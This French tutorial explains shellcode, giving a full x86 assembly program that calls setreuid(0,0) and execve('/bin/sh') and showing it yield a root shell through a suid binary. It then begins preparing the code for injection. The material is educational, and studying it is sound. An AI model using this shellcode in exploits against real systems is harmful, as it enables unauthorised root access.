Qu’est ce que le shellcode ?
Le shellcode est une sorte de bytecode. Le bytecode est tout simplement du code éxécutable, une succession de bytes compréhensible pour votre système. Par exemple, quand vous ouvrez un logiciel à l’aide d’un éditeur texte, l’agencement des caractères que vous voyez n’est rien d’autre que la transposition en caractères ascii de ce bytecode. Le bytecode d’un programme contient les segments code, bss et data puisqu’ils sont statiques.
Le shellcode quant à lui est un bytecode destiné tout simplement à faire apparaître un shell, et plus spécifiquement, un shell root quand c’est possible. Notre premier but est donc de coder un programme en assembleur qui va lancer un shell, root s’il possède le bit suid.
Programmer l’affichage d’un shell
Basiquement, un shellcode est composé de deux appels systèmes :
- l’appel setreuid(), syscall 70, qui permet de changer l’effective user id et le real user id. En fait, le shellcode sert souvent à tirer profit d’un programme possédant le bit suid et appartenant au root (Suid Root Program). Souvent, ces programmes se séparent des privilèges du root dès qu’ils en ont l’occasion, question de sécurité. C’est pourquoi il est important d’utiliser l’appel setreuid, pour être sûr d’avoir les privilèges root, quoi qu’il puisse se passer dans le programme.
La synthaxe de setreuid est setreuid(uid_t realuid, uid_t effectiveuid).
- l’appel execve(), syscall 11, qui est un appel système d’éxécution de binaires qui va nous permettre d’éxécuter /bin/sh (apparition d’un shell). La synthaxe de execve est execve(const char *nomdufichier,char *const argv [], char *const environnementp []).
Au final, certains de vous auront peut-être reconnu l’architecture primaire de certains backdoor sous linux.
Passons maintenant à l’étude du code affichage-shell.asm suivant :
- ;affichage-shell.asm
- segment .data ;déclaration du segment des variables initialisées et globales
- cheminshell db "/bin/sh0aaaabbbbb" ;db déclare une chaine de caractères
- segment .text ;declaration du segment de code
- global _start ;point d'entrée pour le format ELF
- _start: ;here we go
- mov eax,70 ;on met eax à 70 pour préparer l'appel à setreuid
- mov ebx,0 ;real uid 0 => root
- mov ecx,0 ;effective uid 0 => root
- int 0x80 ;Syscall 70
- mov eax,0 ;on met 0 dans eax
- mov ebx,cheminshell ;on met l'adresse de cheminshell dans ebx
- mov [ebx+7],al ;on met le 0 (de eax) 7 caractères après le début de la chaîne
- ;en fait, on réécrit le 0 de la chaine avec un nul byte
- ;al occupe 1 byte
- mov [ebx+8],ebx ;on met l'addresse de la chaine 8 caractères après son début
- ;En fait, on réécrit aaaa par l'adresse de cheminshell
- mov [ebx+12],eax ;12 caractères après le début, on met les 4 bytes de eax
- ;en fait, on réécrit bbbb par 0x00000000
- mov eax,11 ;on met eax à 11 pour préparer l'appel à execve
- lea ecx,[ebx+8] ;on charge l'adresse de (anciennement) aaaa dans ecx
- lea edx,[ebx+12] ;on charge l'adresse de (anciennement) bbbb dans edx
- int 0x80 ;Syscall 11
Il est sûr que sans une connaissance de l’assembleur, le dernier bloc (appel à execve()) peut paraître plutôt flou, voire carrément obscur... Nous allons donc expliciter ligne par ligne ce qui se passe :
Tout d’abord, on met le registre eax à 0 (0x00000000 puisque eax a 32 bits)
Ensuite, on copie l’adresse de cheminshell dans ebx
A l’adresse pointée par ebx (&cheminshell), on a donc :
0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 |
/ | b | i | n | / | s | h | 0 | a | a | a | a | b | b | b | b | \0 |
Maintenant, on copie le registre al (une byte de eax) à l’adresse pointée par ebx, +7
0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 |
/ | b | i | n | / | s | h | 0 | a | a | a | a | b | b | b | b | \0 |
On copie ebx (disons 0x12345678) à l’adresse pointée par ebx, +8 (attention au little endian) :
0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 |
/ | b | i | n | / | s | h | \0 | 78 | 56 | 34 | 12 | b | b | b | b | \0 |
On copie ensuite le registre eax (actuellement 0x00000000) à l’adresse pointée par ebx, +12
0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 |
/ | b | i | n | / | s | h | \0 | 78 | 56 | 34 | 12 | \0 | \0 | \0 | \0 | \0 |
On met eax à 11 (préparation du syscall 11)
On charge l’adresse ebx + 8 (lea = Load Effective Address) dans ecx. ecx pointe donc vers ebx + 8 qui pointe vers ebx. On charge l’adresse ebx + 12 dans edx. edx pointe donc vers ebx + 12 qui pointe vers 0x00000000 (NULL pointer ou pointeur nul). Enfin, On lance l’appel au kernel qui va lancer le syscall 11 (execve).
Ainsi, quand les arguments de la fonction execve() vont être lus, en premier, il y aura la chaîne "/bin/sh" (la lecture se terminant au nul byte), en deuxième, un pointeur vers un pointeur vers la ligne de commande (qui revient seulement à "/bin/sh" ici puisqu’il n’y a pas d’argument), et enfin un pointeur vers le pointeur NULL car on a pas besoin d’environnement de programmation spécifique. Au final, la manipulation effectuée dans ce dernier bloc avait juste pour but de créer des pointeurs vers des pointeurs, comme spécifié pour la synthaxe de execve().
Assemblons, linkons et testons ce programme :
$ nasm affichage-shell.asm -o affichage-shell.o -f elf && ld -s affichage-shell.o -o affichage-shell && ./affichage-shell
sh-3.1$
Il affiche bien un shell, maintenant, on mets le propriétariat du programme au root et à son groupe, puis on attribue au programme le bit suid pour vérifier qu’il nous donnera bien un shell root :
$ su -
Password:
# chown root.root affichage-shell
# chmod +s affichage-shell
# exit
logout
$ ./affichage-shell
sh-3.1# whoami
root
sh-3.1#
Parfait, notre programme marche comme prévu. Ceci dit, il ne peut pas encore constituer un réell shellcode, pour deux raisons :
– on utilise le segment data pour stocker le buffer de /bin/sh. Or, le shellcode doit pouvoir être injecté en mémoire et directement éxécuté. Autrement dit, ça ne doit être qu’une suite d’instruction, qu’un segment code, puisqu’il n’aura pas une segmentation mémoire spécifique pendant son éxécution.
– le deuxième problème est évident quand on le regarde dans un éditeur hexadécimal : il y a des 00 partout ! On rappelle que le shellcode doit être copié telle une chaîne de caractères. Autrement dit, s’il y a un null byte, la chaîne s’arrête et le shellcode est coupé (ainsi que le crafted buffer que l’on injectait).
Nous allons maintenant remédier à ces deux problèmes dans l’ordre.